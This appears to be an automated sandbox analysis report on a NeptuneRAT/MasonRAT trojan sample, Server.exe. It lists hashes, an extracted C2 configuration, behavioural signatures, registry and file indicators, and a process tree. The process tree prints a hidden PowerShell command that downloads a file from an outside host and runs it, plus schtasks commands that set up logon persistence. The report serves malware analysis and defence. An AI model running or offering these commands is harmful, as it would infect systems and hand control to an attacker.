Analysis
- max time kernel
150s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/08/2026, 03:36
Behavioral task
behavioral1
Sample
Server.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Server.exe
Resource
win11ltsc2024-20260710-en
General
- Target Server.exe
- Size 248KB
- Sample260808-d565aaswdx
- SHA256 72faffb7f0ad058f27ed60bb2275f04ef0100b85783289b8f05de07a8e50beac
- MD5 9bafba8bfde3127b67cde15f83047b30
- SHA1 9ec4cae790256d77f102f5caedf43be93f4fb260
- SHA512 e4f39d5934d959d06a2f9ab844367a7e58fb31ab40d1d1586a4d9be53be4bfd5dd4964d3294b957827223550964cb87d38411d463e63b1e36aca97ac101a48a2
- SSDEEP 3072:gZ4cImeMb8sbOmwotLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQd:fbMb9/5bTgVziHzZnSKrCbYMy6bT8Bq
- TLSH T16F4428A6F7A000F6D4BE41718D636B06B7B2F0370721D7EF1A9449993F637A04D29BA1
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
neptunerat
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viperalza7fgg-40476.portmap.host:40476
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filename
USB.exe
-
group
MasonGroup
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key
9wrRyOC9NiWIvgni
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rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
resource yara_rule behavioral2/memory/4680-0-0x000001E6E3F50000-0x000001E6E3F94000-memory.dmp family_neptunerat behavioral2/memory/4680-327-0x000001E6E5EE0000-0x000001E6E5EF2000-memory.dmp family_neptunerat - Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 5276 created 5868 5276 WerFault.exe 80 - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2756 created 5868 2756 svchost.exe 80 - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 4984 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4984 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 4716 pxujdgs5.32h.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx svchost.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 raw.githubusercontent.com 22 raw.githubusercontent.com - Drops file in System32 directory 11 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8A7891822FCFF127E4EADADE9757112B svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\MasonServer.exe svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8A7891822FCFF127E4EADADE9757112B svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8A7891822FCFF127E4EADADE9757112B svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies data under HKEY_USERS 55 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 07 Aug 2026 16:21:33 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1786160219" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={72ECA13C-48B8-4A41-9A42-2230E9257E91}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe - Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\NotificationData explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\NotificationData\0D83063EA3B8FCF5 = 0100000000000002 explorer.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4808 SCHTASKS.exe 4360 SCHTASKS.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 3480 WerFault.exe 3480 WerFault.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 2756 svchost.exe 2756 svchost.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4984 powershell.exe 4984 powershell.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4984 powershell.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4984 powershell.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4984 powershell.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe 4716 pxujdgs5.32h.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 5868 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4680 Server.exe Token: SeDebugPrivilege 4716 pxujdgs5.32h.exe Token: SeDebugPrivilege 4984 powershell.exe Token: SeShutdownPrivilege 5868 explorer.exe Token: SeCreatePagefilePrivilege 5868 explorer.exe Token: SeShutdownPrivilege 5868 explorer.exe Token: SeCreatePagefilePrivilege 5868 explorer.exe Token: SeShutdownPrivilege 5868 explorer.exe Token: SeCreatePagefilePrivilege 5868 explorer.exe Token: SeShutdownPrivilege 5868 explorer.exe Token: SeCreatePagefilePrivilege 5868 explorer.exe Token: SeShutdownPrivilege 5868 explorer.exe Token: SeCreatePagefilePrivilege 5868 explorer.exe Token: SeShutdownPrivilege 5868 explorer.exe Token: SeCreatePagefilePrivilege 5868 explorer.exe Token: SeShutdownPrivilege 5868 explorer.exe Token: SeCreatePagefilePrivilege 5868 explorer.exe Token: SeShutdownPrivilege 5868 explorer.exe Token: SeCreatePagefilePrivilege 5868 explorer.exe Token: SeAssignPrimaryTokenPrivilege 3652 svchost.exe Token: SeIncreaseQuotaPrivilege 3652 svchost.exe Token: SeSecurityPrivilege 3652 svchost.exe Token: SeTakeOwnershipPrivilege 3652 svchost.exe Token: SeLoadDriverPrivilege 3652 svchost.exe Token: SeSystemtimePrivilege 3652 svchost.exe Token: SeBackupPrivilege 3652 svchost.exe Token: SeRestorePrivilege 3652 svchost.exe Token: SeShutdownPrivilege 3652 svchost.exe Token: SeSystemEnvironmentPrivilege 3652 svchost.exe Token: SeUndockPrivilege 3652 svchost.exe Token: SeManageVolumePrivilege 3652 svchost.exe Token: SeAssignPrimaryTokenPrivilege 3652 svchost.exe Token: SeIncreaseQuotaPrivilege 3652 svchost.exe Token: SeSecurityPrivilege 3652 svchost.exe Token: SeTakeOwnershipPrivilege 3652 svchost.exe Token: SeLoadDriverPrivilege 3652 svchost.exe Token: SeSystemtimePrivilege 3652 svchost.exe Token: SeBackupPrivilege 3652 svchost.exe Token: SeRestorePrivilege 3652 svchost.exe Token: SeShutdownPrivilege 3652 svchost.exe Token: SeSystemEnvironmentPrivilege 3652 svchost.exe Token: SeUndockPrivilege 3652 svchost.exe Token: SeManageVolumePrivilege 3652 svchost.exe Token: SeAssignPrimaryTokenPrivilege 3652 svchost.exe Token: SeIncreaseQuotaPrivilege 3652 svchost.exe Token: SeSecurityPrivilege 3652 svchost.exe Token: SeTakeOwnershipPrivilege 3652 svchost.exe Token: SeLoadDriverPrivilege 3652 svchost.exe Token: SeSystemtimePrivilege 3652 svchost.exe Token: SeBackupPrivilege 3652 svchost.exe Token: SeRestorePrivilege 3652 svchost.exe Token: SeShutdownPrivilege 3652 svchost.exe Token: SeSystemEnvironmentPrivilege 3652 svchost.exe Token: SeUndockPrivilege 3652 svchost.exe Token: SeManageVolumePrivilege 3652 svchost.exe Token: SeAssignPrimaryTokenPrivilege 3652 svchost.exe Token: SeIncreaseQuotaPrivilege 3652 svchost.exe Token: SeSecurityPrivilege 3652 svchost.exe Token: SeTakeOwnershipPrivilege 3652 svchost.exe Token: SeLoadDriverPrivilege 3652 svchost.exe Token: SeSystemtimePrivilege 3652 svchost.exe Token: SeBackupPrivilege 3652 svchost.exe Token: SeRestorePrivilege 3652 svchost.exe Token: SeShutdownPrivilege 3652 svchost.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 6032 Conhost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4680 wrote to memory of 4716 4680 Server.exe 88 PID 4680 wrote to memory of 4808 4680 Server.exe 89 PID 4716 wrote to memory of 760 4716 pxujdgs5.32h.exe 5 PID 4716 wrote to memory of 972 4716 pxujdgs5.32h.exe 9 PID 4716 wrote to memory of 980 4716 pxujdgs5.32h.exe 10 PID 4716 wrote to memory of 368 4716 pxujdgs5.32h.exe 11 PID 4716 wrote to memory of 1040 4716 pxujdgs5.32h.exe 13 PID 4716 wrote to memory of 1116 4716 pxujdgs5.32h.exe 14 PID 4716 wrote to memory of 1188 4716 pxujdgs5.32h.exe 15 PID 4716 wrote to memory of 1236 4716 pxujdgs5.32h.exe 16 PID 4716 wrote to memory of 1308 4716 pxujdgs5.32h.exe 17 PID 4716 wrote to memory of 1340 4716 pxujdgs5.32h.exe 18 PID 4716 wrote to memory of 1600 4716 pxujdgs5.32h.exe 21 PID 4716 wrote to memory of 1608 4716 pxujdgs5.32h.exe 22 PID 4716 wrote to memory of 1656 4716 pxujdgs5.32h.exe 23 PID 4716 wrote to memory of 1756 4716 pxujdgs5.32h.exe 24 PID 4716 wrote to memory of 1816 4716 pxujdgs5.32h.exe 25 PID 4716 wrote to memory of 1896 4716 pxujdgs5.32h.exe 26 PID 4716 wrote to memory of 1924 4716 pxujdgs5.32h.exe 27 PID 4716 wrote to memory of 2000 4716 pxujdgs5.32h.exe 28 PID 4716 wrote to memory of 1712 4716 pxujdgs5.32h.exe 29 PID 4716 wrote to memory of 480 4716 pxujdgs5.32h.exe 30 PID 4716 wrote to memory of 2120 4716 pxujdgs5.32h.exe 31 PID 4716 wrote to memory of 2228 4716 pxujdgs5.32h.exe 32 PID 4716 wrote to memory of 2292 4716 pxujdgs5.32h.exe 33 PID 4716 wrote to memory of 2380 4716 pxujdgs5.32h.exe 34 PID 4716 wrote to memory of 2432 4716 pxujdgs5.32h.exe 35 PID 4716 wrote to memory of 2484 4716 pxujdgs5.32h.exe 36 PID 4716 wrote to memory of 2548 4716 pxujdgs5.32h.exe 37 PID 4716 wrote to memory of 2564 4716 pxujdgs5.32h.exe 38 PID 4716 wrote to memory of 2708 4716 pxujdgs5.32h.exe 39 PID 4716 wrote to memory of 2744 4716 pxujdgs5.32h.exe 40 PID 4716 wrote to memory of 2964 4716 pxujdgs5.32h.exe 41 PID 4716 wrote to memory of 3032 4716 pxujdgs5.32h.exe 42 PID 4716 wrote to memory of 2088 4716 pxujdgs5.32h.exe 43 PID 4716 wrote to memory of 2360 4716 pxujdgs5.32h.exe 44 PID 4716 wrote to memory of 3128 4716 pxujdgs5.32h.exe 45 PID 4716 wrote to memory of 3276 4716 pxujdgs5.32h.exe 47 PID 4716 wrote to memory of 3500 4716 pxujdgs5.32h.exe 48 PID 4716 wrote to memory of 3584 4716 pxujdgs5.32h.exe 49 PID 4716 wrote to memory of 3632 4716 pxujdgs5.32h.exe 50 PID 4716 wrote to memory of 3652 4716 pxujdgs5.32h.exe 51 PID 4716 wrote to memory of 3660 4716 pxujdgs5.32h.exe 52 PID 4716 wrote to memory of 3692 4716 pxujdgs5.32h.exe 53 PID 4716 wrote to memory of 3700 4716 pxujdgs5.32h.exe 54 PID 4716 wrote to memory of 1252 4716 pxujdgs5.32h.exe 55 PID 4716 wrote to memory of 1124 4716 pxujdgs5.32h.exe 56 PID 4716 wrote to memory of 4424 4716 pxujdgs5.32h.exe 57 PID 4716 wrote to memory of 4472 4716 pxujdgs5.32h.exe 58 PID 4716 wrote to memory of 4544 4716 pxujdgs5.32h.exe 59 PID 4716 wrote to memory of 4652 4716 pxujdgs5.32h.exe 60 PID 4716 wrote to memory of 4832 4716 pxujdgs5.32h.exe 61 PID 4716 wrote to memory of 2736 4716 pxujdgs5.32h.exe 62 PID 4716 wrote to memory of 1204 4716 pxujdgs5.32h.exe 63 PID 4716 wrote to memory of 5136 4716 pxujdgs5.32h.exe 64 PID 4716 wrote to memory of 5352 4716 pxujdgs5.32h.exe 66 PID 4716 wrote to memory of 5444 4716 pxujdgs5.32h.exe 67 PID 4716 wrote to memory of 3492 4716 pxujdgs5.32h.exe 70 PID 4716 wrote to memory of 5920 4716 pxujdgs5.32h.exe 71 PID 4716 wrote to memory of 3680 4716 pxujdgs5.32h.exe 73 PID 4716 wrote to memory of 4896 4716 pxujdgs5.32h.exe 76 PID 4716 wrote to memory of 6080 4716 pxujdgs5.32h.exe 77 PID 4716 wrote to memory of 3284 4716 pxujdgs5.32h.exe 78 PID 4716 wrote to memory of 5868 4716 pxujdgs5.32h.exe 80 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:760
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵PID:980
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1188
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵PID:972
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-14745098-f77a-42e2-b072-df999a3eb599 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-472676b3-749d-40f1-86e6-59017bee164b -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-cdaa4879-b110-44ea-94ef-5a0967003854 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-42cdaaa0-80be-43b4-bf67-c703dc4e10d5 -LifetimeId:75711c02-339c-4c60-bc3c-0f87afbc72bb -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1116
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1308
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1608
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵PID:1656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1896
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3284
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:5868 -
C:\Users\Admin\AppData\Local\Temp\Server.exe"C:\Users\Admin\AppData\Local\Temp\Server.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4680 -
C:\Users\Admin\AppData\Local\Temp\pxujdgs5.32h.exe"C:\Users\Admin\AppData\Local\Temp\pxujdgs5.32h.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4716
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C:\Windows\SYSTEM32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "MasonServer.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Server.exe'" /sc onlogon /rl HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
PID:4808 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:4708
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C:\Windows\SYSTEM32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "MasonServer.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Server.exe'" /sc onlogon /rl HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
PID:4360 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:5580
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4984 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
PID:6032
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5868 -s 64844⤵
- Suspicious behavior: EnumeratesProcesses
PID:3480
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1924
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:2000
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:2120
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:2228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2292
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:2432
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵PID:2484
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C:\Windows\system32\ctfmon.exe/QuitInfo:000000000000021C;00000000000001FC;2⤵PID:5444
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2548
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵PID:2564
